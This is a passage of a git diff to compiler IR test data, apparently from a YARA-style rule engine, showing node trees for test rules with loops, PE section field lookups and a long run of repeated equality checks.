frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_3 + 19: FOR_IN -- hash: 0x8f01f21dfaa06ea7 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x93415c6f898e7788 + 12: EQ -- hash: 0xc90292fd57ddf7a6 + 10: FIELD_ACCESS -- hash: 0xfcd14f011c99a59d + 8: LOOKUP -- hash: 0x292cb96218de05db + 6: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: GT -- hash: 0x44114a185b4bba23 + 15: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 16: CONST integer(0) + +RULE test_4 + 532: FOR_IN -- hash: 0xf9a1d2b0fb82c91e + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0xdd54566aea6d846c + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0x63e72ac99ac716fe + 8: EQ -- hash: 0xf744cd7156d968c2 + 6: ADD -- hash: 0x3862febc619426b8 + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0xe36fe6b52bc22d1a + 11: ADD -- hash: 0xe11c89637558fca3 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0xcf9afff8fcaaf172 + 16: ADD -- hash: 0x89d6140a891dd28f + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0xbbc6193cd193b5ca + 21: ADD -- hash: 0x328f9eb19ce2a87b + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0xa7f13280a67c7a22 + 26: ADD -- hash: 0xdb492958b0a77e66 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x941c4bc47b653e7a + 31: ADD -- hash: 0x8402b3ffc46c5452 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x804765084c4e02d2 + 36: ADD -- hash: 0x2cbc3ea6d8312a3e + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x6c727e4c2136c72a + 41: ADD -- hash: 0xd575c94deff60029 + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 0x589d978ff61f8b82 + 46: ADD -- hash: 0x7e2f53f503bad615 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0x44c8b0d3cb084fda + 51: ADD -- hash: 0x26e8de9c177fac01 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0x30f3ca179ff11432 + 56: ADD -- hash: 0xcfa269432b4481ec + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0x1d1ee35b70d9d88a + 61: ADD -- hash: 0x785bf3ea3f0957d8 + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0x949fc9f45c29ce2 + 66: ADD -- hash: 0x21157e9152ce2dc4 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0xf57515e31aab6139 + 71: ADD -- hash: 0xc9cf0938669303af + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0xe1a02f26ef942591 + 76: ADD -- hash: 0x728893df7a57d99b + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0xcdcb486ac07ce9e9 + 81: ADD -- hash: 0x1b421e868e1caf87 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0xb9f661ae9565ae41 + 86: ADD -- hash: 0xc3fba92da1e18572 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0xa6217af26a4e7299 + 91: ADD -- hash: 0x6cb533d4b5a65b5e + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x924c94363f3736f1 + 96: ADD -- hash: 0x156ebe7bc96b314a + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x7e77ad7a101ffb49 + 101: ADD -- hash: 0xbe284922dd300735 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x6aa2c6bde508bfa1 + 106: ADD -- hash: 0x66e1d3c9f0f4dd21 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0x56cde001b9f183f9 + 111: ADD -- hash: 0xf9b5e7104b9b30d + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0x42f8f9458eda4851 + 116: ADD -- hash: 0xb854e918187e88f8 + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0x2f24128963c30ca9 + 121: ADD -- hash: 0x610e73bf2c435ee4 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0x1b4f2bcd34abd101 + 126: ADD -- hash: 0x9c7fe66400834d0 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x77a451109949559 + 131: ADD -- hash: 0xb281890d57cd0abb + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0xf3a55e54de7d59b0 + 136: ADD -- hash: 0x5b3b13b46b91e0a7 + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0xdfd07798b3661e08 + 141: ADD -- hash: 0x3f49e5b7f56b693 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0xcbfb90dc844ee260 + 146: ADD -- hash: 0xacae2902931b8c7e + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0xb826aa205937a6b8 + 151: ADD -- hash: 0x5567b3a9a6e0626a + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0xa451c3642e206b10 + 156: ADD -- hash: 0xfe213e50baa53855 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x907cdca803092f68 + 161: ADD -- hash: 0xa6dac8f7ce6a0e41 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x7ca7f5ebd7f1f3c0 + 166: ADD -- hash: 0x4f94539ee22ee42d + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x68d30f2fa8dab818 + 171: ADD -- hash: 0xf84dde45f5f3ba18 + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0x54fe28737dc37c70 + 176: ADD -- hash: 0xa10768ed09b89004 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0x412941b752ac40c8 + 181: ADD -- hash: 0x49c0f3941d7d65f0 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0x2d545afb27950520 + 186: ADD -- hash: 0xf27a7e3b31423bdb + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0x197f743ef87dc978 + 191: ADD -- hash: 0x9b3408e2450711c7 + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x5aa8d82cd668dd0 + 196: ADD -- hash: 0x43ed938958cbe7b3 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0xf1d5a6c6a24f5227 + 201: ADD -- hash: 0xeca71e306c90bd9e + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0xde00c00a7738167f + 206: ADD -- hash: 0x9560a8d78055938a + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0xca2bd94e4820dad7 + 211: ADD -- hash: 0x3e1a337e941a6976 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0xb656f2921d099f2f + 216: ADD -- hash: 0xe6d3be25abdf3f61 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0xa2820bd5f1f26387 + 221: ADD -- hash: 0x8f8d48ccbfa4154d + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x8ead2519c6db27df + 226: ADD -- hash: 0x3846d373d368eb39 + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x7ad83e5d9bc3ec37 + 231: ADD -- hash: 0xe1005e1ae72dc124 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0x670357a16cacb08f + 236: ADD -- hash: 0x89b9e8c1faf29710 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0x532e70e5419574e7 + 241: ADD -- hash: 0x327373690eb76cfc + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0x3f598a29167e393f + 246: ADD -- hash: 0xdb2cfe10227c42e7 + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0x2b84a36ceb66fd97 + 251: ADD -- hash: 0x83e688b7364118d3 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0x17afbcb0bc4fc1ef + 256: ADD -- hash: 0x2ca0135e4a05eebf + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x3dad5f491388647 + 261: ADD -- hash: 0xd5599e055dcac4aa + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0xf005ef3866214a9e + 266: ADD -- hash: 0x7e1328ac718f9a96 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0xdc31087c3b0a0ef6 + 271: ADD -- hash: 0x26ccb35385547082 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0xc85c21c00ff2d34e + 276: ADD -- hash: 0xcf863dfa9919466d + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0xb4873b03e0db97a6 + 281: ADD -- hash: 0x783fc8a1acde1c59 + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0xa0b25447b5c45bfe + 286: ADD -- hash: 0x20f95348c0a2f245 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x8cdd6d8b8aad2056 + 291: ADD -- hash: 0xc9b2ddefd467c830 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x790886cf5f95e4ae + 296: ADD -- hash: 0x726c6896e82c9e1c + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0x6533a013307ea906 + 301: ADD -- hash: 0x1b25f33dfff17408 + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0x515eb95705676d5e + 306: ADD -- hash: 0xc3df7de513b649f3 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0x3d89d29ada5031b6 + 311: ADD -- hash: 0x6c99088c277b1fdf + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0x29b4ebdeaf38f60e + 316: ADD -- hash: 0x155293333b3ff5cb + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0x15e005228021ba66 + 321: ADD -- hash: 0xbe0c1dda4f04cbb6 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x20b1e66550a7ebe + 326: ADD -- hash: 0x66c5a88162c9a1a2 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0xee3637aa29f34315 + 331: ADD -- hash: 0xf7f3328768e778e + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0xda6150edfedc076d + 336: ADD -- hash: 0xb838bdcf8a534d79 + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0xc68c6a31d3c4cbc5 + 341: ADD -- hash: 0x60f248769e182365 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0xb2b78375a4ad901d + 346: ADD -- hash: 0x9abd31db1dcf951 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x9ee29cb979965475 + 351: ADD -- hash: 0xb2655dc4c5a1cf3c + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x8b0db5fd4e7f18cd + 356: ADD -- hash: 0x5b1ee86bd966a528 + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0x7738cf412367dd25 + 361: ADD -- hash: 0x3d87312ed2b7b14 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0x6363e884f450a17d + 366: ADD -- hash: 0xac91fdba00f050ff + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0x4f8f01c8c93965d5 + 371: ADD -- hash: 0x554b886114b526eb + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0x3bba1b0c9e222a2d + 376: ADD -- hash: 0xfe0513082879fcd6 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0x27e53450730aee85 + 381: ADD -- hash: 0xa6be9daf3c3ed2c2 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0x14104d9447f3b2dd + 386: ADD -- hash: 0x4f7828565003a8ae + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x3b66d818dc7735 + 391: ADD -- hash: 0xf831b2fd67c87e99 + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0xec66801bedc53b8c + 396: ADD -- hash: 0xa0eb3da47b8d5485 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0xd891995fc2adffe4 + 401: ADD -- hash: 0x49a4c84b8f522a71 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0xc4bcb2a39796c43c + 406: ADD -- hash: 0xf25e52f2a317005c + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0xb0e7cbe7687f8894 + 411: ADD -- hash: 0x9b17dd99b6dbd648 + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x9d12e52b3d684cec + 416: ADD -- hash: 0x43d16840caa0ac34 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x893dfe6f12511144 + 421: ADD -- hash: 0xec8af2e7de65821f + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0x756917b2e739d59c + 426: ADD -- hash: 0x95447d8ef22a580b + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0x619430f6b82299f4 + 431: ADD -- hash: 0x3dfe083605ef2df7 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0x4dbf4a3a8d0b5e4c + 436: ADD -- hash: 0xe6b792dd19b403e2 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0x39ea637e61f422a4 + 441: ADD -- hash: 0x8f711d842d78d9ce + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0x26157cc236dce6fc + 446: ADD -- hash: 0x382aa82b413dafba + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0x124096060bc5ab54 + 451: ADD -- hash: 0xe0e432d2550285a5 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0xfe6baf49dcae6fab + 456: ADD -- hash: 0x899dbd7968c75b91 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0xea96c88db1973403 + 461: ADD -- hash: 0x325748207c8c317d + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0xd6c1e1d1867ff85b + 466: ADD -- hash: 0xdb10d2c790510768 + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0xc2ecfb155b68bcb3 + 471: ADD -- hash: 0x83ca5d6ea415dd54 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0xaf1814592c51810b + 476: ADD -- hash: 0x2c83e815bbdab340 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x9b432d9d013a4563 + 481: ADD -- hash: 0xd53d72bccf9f892b + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x876e46e0d62309bb + 486: ADD -- hash: 0x7df6fd63e3645f17 + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0x73996024ab0bce13 + 491: ADD -- hash: 0x26b0880af7293503 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0x5fc479687ff4926b + 496: ADD -- hash: 0xcf6a12b20aee0aee + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0x4bef92ac50dd56c3 + 501: ADD -- hash: 0x78239d591eb2e0da + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0x381aabf025c61b1b + 506: ADD -- hash: 0x20dd28003277b6c6 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0x2445c533faaedf73 + 511: ADD -- hash: 0xc996b2a7463c8cb1 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0x1070de77cf97a3cb + 516: ADD -- hash: 0x72503d4e5a01629d + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0xfc9bf7bba0806822 + 521: ADD -- hash: 0x1b09c7f56dc63889 + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0xe8c710ff75692c7a + 526: ADD -- hash: 0xc3c3529c818b0e74 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + 529: CONST boolean(true) + diff --git a/lib/src/compiler/ir/tests/testdata/15.cse.ir b/lib/src/compiler/ir/tests/testdata/15.cse.ir index ce8858d26..c306d5ff3 100644 --- a/lib/src/compiler/ir/tests/testdata/15.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/15.cse.ir @@ -1,109 +1,109 @@ RULE test - 171: AND -- hash: 0x550720c3956843bf - 0: PATTERN_MATCH 